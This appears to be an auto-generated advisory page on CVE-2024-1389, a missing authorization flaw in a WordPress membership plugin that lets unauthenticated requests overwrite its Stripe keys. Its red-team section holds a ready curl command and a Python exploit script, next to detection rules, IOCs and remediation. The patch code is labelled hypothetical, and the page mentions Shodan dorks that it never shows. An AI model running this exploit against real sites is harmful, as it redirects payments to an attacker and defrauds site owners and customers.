CVE-2024-1389
Executive Summary
CVE-2024-1389 is a critical missing authorization vulnerability in the Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction WordPress plugin, affecting all versions up to and including 2.11.1. The flaw resides in the pms_stripe_connect_handle_authorization_return function, which fails to perform a capability check before processing Stripe payment key updates. This allows any unauthenticated attacker to modify the Stripe API keys used by the plugin, potentially redirecting payment transactions to their own Stripe account or disrupting payment processing.
As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software. The attack vector is network-based, requires no authentication, and has a low attack complexity, making it trivial to exploit once the vulnerable endpoint is identified.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated because an attacker can silently replace Stripe keys, leading to financial fraud and loss of payment integrity. The lack of authentication and low complexity make this a high-priority target for automated scanning.
Deep Dive & Mechanics
The vulnerability exists in the pms_stripe_connect_handle_authorization_return function, which is part of the Stripe Connect integration. This function is intended to handle the OAuth callback from Stripe after a site administrator authorizes the plugin to use Stripe. However, the function does not verify that the current user has administrative privileges (or any capability) before processing the callback parameters.
The function typically receives state, code, and error parameters via HTTP GET request. It then uses these to exchange the authorization code for permanent API keys and saves them to the WordPress options table. Because there is no current_user_can() check, an unauthenticated attacker can craft a request that mimics a legitimate Stripe OAuth callback, providing their own Stripe authorization code. The plugin will then overwrite the stored Stripe keys with the attacker's keys.
Attack Flow:
- Attacker registers a Stripe account and obtains an OAuth authorization code.
- Attacker sends a GET request to the vulnerable endpoint:
/wp-admin/admin-ajax.php?action=pms_stripe_connect_handle_authorization_return&state=<random>&code=<attacker_code> - The plugin processes the request, exchanges the code for keys, and stores them.
- All subsequent payment transactions are routed to the attacker's Stripe account.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.11.1):
function pms_stripe_connect_handle_authorization_return() {
// No capability check
$state = sanitize_text_field( $_GET['state'] );
$code = sanitize_text_field( $_GET['code'] );
// ... process OAuth and save keys
update_option( 'pms_stripe_connect_keys', $keys );
}
Patched Code (Hypothetical):
function pms_stripe_connect_handle_authorization_return() {
// Added capability check
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized', 403 );
}
$state = sanitize_text_field( $_GET['state'] );
$code = sanitize_text_field( $_GET['code'] );
// ... process OAuth and save keys
update_option( 'pms_stripe_connect_keys', $keys );
}
The fix requires adding a current_user_can('manage_options') check before processing the OAuth callback, ensuring only administrators can modify payment keys.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site running the vulnerable plugin (<= 2.11.1)
- An attacker-controlled Stripe account with OAuth authorization code
Exploitation Steps:
- Identify the vulnerable endpoint:
http://target/wp-admin/admin-ajax.php?action=pms_stripe_connect_handle_authorization_return - Obtain a Stripe OAuth authorization code by creating a Stripe app and initiating the OAuth flow.
- Send the crafted request:
curl -X GET "http://target/wp-admin/admin-ajax.php?action=pms_stripe_connect_handle_authorization_return&state=random123&code=ac_attacker_code"
- Verify the keys were overwritten by checking the plugin's Stripe settings (if accessible) or by making a test payment.
Automated Exploit Script (Python):
import requests
target = "http://target/wp-admin/admin-ajax.php"
params = {
"action": "pms_stripe_connect_handle_authorization_return",
"state": "exploit_state",
"code": "ac_attacker_stripe_code"
}
response = requests.get(target, params=params)
if response.status_code == 200:
print("Stripe keys potentially overwritten.")
else:
print("Exploit failed.")
Blue Team
Detection:
- Monitor for GET requests to
/wp-admin/admin-ajax.phpwithaction=pms_stripe_connect_handle_authorization_returnfrom non-admin IPs. - Alert on sudden changes to the
pms_stripe_connect_keysoption in the WordPress database. - Review Stripe account activity for unexpected key changes.
Hunting:
- Search web server logs for
admin-ajax.phprequests containingpms_stripe_connect_handle_authorization_return. - Check WordPress options table for recent modifications to
pms_stripe_connect_keys.
Indicators of Compromise (IOCs)
- Network: HTTP GET requests to
/wp-admin/admin-ajax.phpwith parametersaction=pms_stripe_connect_handle_authorization_return,state, andcode. - File: No specific file changes; the vulnerability modifies database options.
- Database: Unauthorized modification of the
pms_stripe_connect_keysoption in thewp_optionstable. - Behavior: Sudden change in Stripe payment keys without admin action; payments failing or being redirected.
Detection Engineering
YARA Rule
rule CVE_2024_1389_Stripe_Key_Overwrite {
meta:
description = "Detects exploitation attempts of CVE-2024-1389 in WordPress Paid Membership Subscriptions plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1389"
strings:
$ajax_action = "pms_stripe_connect_handle_authorization_return"
$state_param = "state="
$code_param = "code="
condition:
all of them
}
Sigma Rule
title: CVE-2024-1389 Stripe Key Overwrite Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint of Paid Membership Subscriptions plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'action=pms_stripe_connect_handle_authorization_return'
condition: selection
falsepositives:
- Legitimate admin OAuth callbacks (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1389 Stripe Key Overwrite Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pms_stripe_connect_handle_authorization_return"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict access to
admin-ajax.phpusing web application firewall (WAF) rules to block requests containingpms_stripe_connect_handle_authorization_returnfrom non-admin IPs. - Audit Stripe keys in the WordPress database (
wp_optionstable,pms_stripe_connect_keys) and regenerate them if compromised.
Long-term Fix:
- Apply a vendor patch when released, or manually add a capability check to the vulnerable function as shown in the patched code example.
- Implement a custom plugin or mu-plugin that hooks into the function and adds authorization.
Workaround:
- Use a WAF rule to block the specific endpoint:
location ~ /wp-admin/admin-ajax.php {
if ($args ~* "action=pms_stripe_connect_handle_authorization_return") {
return 403;
}
}
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.